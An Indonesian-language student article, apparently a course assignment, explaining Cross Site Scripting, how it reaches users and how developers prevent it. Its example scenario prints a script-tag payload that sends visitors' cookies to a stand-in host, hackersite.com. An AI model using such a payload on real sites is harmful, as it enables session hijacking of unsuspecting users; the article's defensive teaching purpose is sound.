Pendahuluan
Dunia web saat ini dipenuhi dengan interaksi. Kita menulis komentar, mengisi formulir, membuka akun, dan melakukan banyak aktivitas lainnya. Tapi di balik semua itu, ada bahaya yang sering tidak terlihat. Salah satunya adalah Cross Site Scripting, atau yang biasa disebut XSS. Serangan ini diam-diam mengintai dari balik halaman web, menunggu celah kecil untuk mencuri data dan mengambil alih kontrol pengguna.

Apa Itu Cross Site Scripting (XSS)?
XSS adalah teknik serangan di mana seseorang menyisipkan skrip berbahaya ke dalam halaman web. Skrip ini biasanya berupa JavaScript dan dijalankan langsung oleh browser pengguna. Karena skrip ini muncul dari halaman yang terlihat sah, browser tidak mencurigainya.

Inilah kenapa XSS disebut sebagai “pengintai”. Ia bekerja tanpa suara, tanpa peringatan, dan sering kali tidak disadari oleh korban. Skripnya bisa sangat kecil, tapi efeknya bisa besar.

Cara XSS Mengintai Pengguna Web
Serangan XSS bisa masuk melalui berbagai jalan. Bisa dari komentar yang terlihat biasa, formulir kontak, kolom pencarian, atau bahkan URL. Ketika data dari pengguna ditampilkan di halaman tanpa disaring atau dibersihkan, skrip berbahaya bisa ikut tampil.

Browser yang membuka halaman itu akan menjalankan skrip seolah-olah itu bagian dari situs asli. Padahal, itu adalah jebakan. Tanpa ada tanda-tanda mencurigakan, pengguna sudah menjadi korban.

Apa yang Diintai oleh XSS?
Tujuan utama dari serangan XSS adalah mencuri sesuatu yang berharga. Biasanya, ini berupa cookie, token login, atau informasi pribadi pengguna. Dengan data ini, hacker bisa masuk ke akun korban tanpa izin.

Selain itu, XSS juga bisa mengamati aktivitas pengguna, mengganti tampilan halaman, atau bahkan menjalankan perintah lain seolah-olah dilakukan oleh korban. Serangan ini sangat berbahaya karena memberikan akses tanpa batas kepada penyerang.

Contoh Skenario Serangan XSS
Bayangkan seseorang meninggalkan komentar di blog dengan menyisipkan skrip seperti ini:
<script>document.location='http://hackersite.com?cookie='+document.cookie</script>

Komentarnya terlihat biasa saja. Tapi ketika pengunjung lain membuka halaman itu, browser mereka langsung menjalankan skrip tersebut dan mengirim cookie mereka ke hacker. Dengan cookie itu, hacker bisa masuk ke akun korban dan melakukan apa saja yang ia mau.

Lebih buruk lagi, jika korban yang terinfeksi juga menulis sesuatu di situs, skrip bisa menyebar ke orang lain. Ini membuat XSS menjadi serangan berantai yang sulit dihentikan.

Bagaimana Cara Menghindari Si Pengintai Ini?
Untungnya, XSS bisa dicegah dengan langkah-langkah sederhana. Pengembang harus selalu memeriksa dan membersihkan setiap input dari pengguna, baik di sisi server maupun sisi browser. Semua karakter khusus yang bisa menjadi bagian dari skrip harus dinetralisir.

Saat menampilkan data dari pengguna, gunakan teknik escaping agar skrip tidak bisa dijalankan. Selain itu, terapkan Content Security Policy atau CSP untuk membatasi skrip apa saja yang boleh dijalankan di halaman.

Framework modern seperti React, Angular, atau Vue juga sudah memiliki perlindungan terhadap XSS. Dan yang tidak kalah penting, audit keamanan harus dilakukan secara rutin untuk memastikan tidak ada celah yang lolos.

Kesimpulan
XSS adalah si pengintai yang diam-diam menyelinap di balik halaman web. Ia tidak terlihat, tidak terdengar, tapi bisa menyebabkan kerusakan besar jika dibiarkan. Menjaga keamanan web bukan hanya soal teknologi, tapi juga soal tanggung jawab.

Dengan menjaga input dan output data dengan baik, serta menerapkan kebijakan keamanan yang tepat, kita bisa menghentikan si pengintai ini sebelum ia mencuri sesuatu yang berharga. Keamanan dunia web ada di tangan kita bersama.

NAMA: AISYA

NIM: 23156201029

PRODI: SISTEM KOMPUTER